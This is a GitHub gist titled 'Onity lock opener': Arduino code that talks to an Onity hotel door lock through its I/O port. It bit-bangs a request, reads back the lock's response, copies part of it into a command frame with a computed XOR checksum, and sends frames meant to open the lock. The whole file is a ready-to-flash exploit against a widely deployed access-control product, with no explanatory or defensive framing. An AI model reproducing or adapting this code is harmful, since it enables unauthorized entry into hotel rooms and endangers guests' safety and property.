Created
July 26, 2012 04:06
-
-
Save bbhoss/3180183 to your computer and use it in GitHub Desktop.
Onity lock opener
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define CONSERVATIVE | |
int ioPin = 3; | |
#define BUFSIZE 200 | |
unsigned char buf[BUFSIZE]; | |
#define pullLow() pinMode(ioPin, OUTPUT) | |
#define pullHigh() pinMode(ioPin, INPUT) | |
unsigned char dbits[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0}; | |
unsigned char bits[][144] = { | |
{ | |
0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, | |
1, 0, 1, 0, 0, 0, 1, 0, | |
0, 1, | |
1, 0, 0, 0, 1, 0, 0, 0, 1, | |
1, 0, 1, 0, 0, 1, 0, 1, 1, | |
1, 1, 0, 0, 0, 0, 1, 1, 1, | |
0, 0, 0, 1, 1, 1, 0, 1, 1, | |
1, 1, 1, 1, 1, 1, 1, 1, | |
0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0 | |
}, | |
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, | |
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, | |
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0} | |
}; | |
unsigned char bval; | |
void wentLow() { | |
bval = 1; | |
} | |
void setup() { | |
pinMode(ioPin, OUTPUT); | |
digitalWrite(ioPin, LOW); | |
pinMode(ioPin, INPUT); | |
digitalWrite(ioPin, LOW); | |
for(int i = 0; i < sizeof(dbits); ++i) { | |
if(dbits[i] == 0) { | |
pullLow(); | |
delayMicroseconds(16); | |
pullHigh(); | |
delayMicroseconds(190); | |
} else { | |
pullLow(); | |
delayMicroseconds(16); | |
pullHigh(); | |
delayMicroseconds(56); | |
pullLow(); | |
delayMicroseconds(16); | |
pullHigh(); | |
delayMicroseconds(112); | |
} | |
} | |
pullLow(); | |
delayMicroseconds(16); | |
pullHigh(); | |
bval = 0; | |
attachInterrupt(1, wentLow, FALLING); | |
while(digitalRead(ioPin) == HIGH) {} | |
delayMicroseconds(20); | |
for(int i = 0; i < 164; ++i) { | |
buf[i] = 0; | |
pullLow(); | |
delayMicroseconds(8); | |
pullHigh(); | |
bval = 0; | |
delayMicroseconds(184); | |
buf[i] = bval; | |
} | |
for(int i = 0; i < 32+3; ++i) | |
bits[0][50+i] = buf[22+i]; | |
for(int i = 0; i < 8; ++i) | |
bits[0][86+i] = bits[0][50+i] ^ bits[0][50+9+i] ^ bits[0][50+18+i] ^ bits[0][50+27+i]; | |
bits[0][86] ^= 1; | |
bits[0][87] ^= 0; | |
bits[0][88] ^= 1; | |
bits[0][89] ^= 1; | |
bits[0][90] ^= 1; | |
bits[0][91] ^= 0; | |
bits[0][92] ^= 1; | |
bits[0][93] ^= 1; | |
#ifdef CONSERVATIVE | |
delay(100); | |
#endif | |
for(int j = 0; j < 11; ++j) { | |
for(int i = 0; i < sizeof(bits[j]); ++i) { | |
if(bits[j][i] == 0) { | |
pullLow(); | |
delayMicroseconds(16); | |
pullHigh(); | |
delayMicroseconds(190); | |
} else { | |
pullLow(); | |
delayMicroseconds(16); | |
pullHigh(); | |
delayMicroseconds(56); | |
pullLow(); | |
delayMicroseconds(16); | |
pullHigh(); | |
delayMicroseconds(112); | |
} | |
} | |
#ifdef CONSERVATIVE | |
delayMicroseconds(2700); | |
#else | |
delayMicroseconds(500); | |
#endif | |
} | |
} | |
void loop() { | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment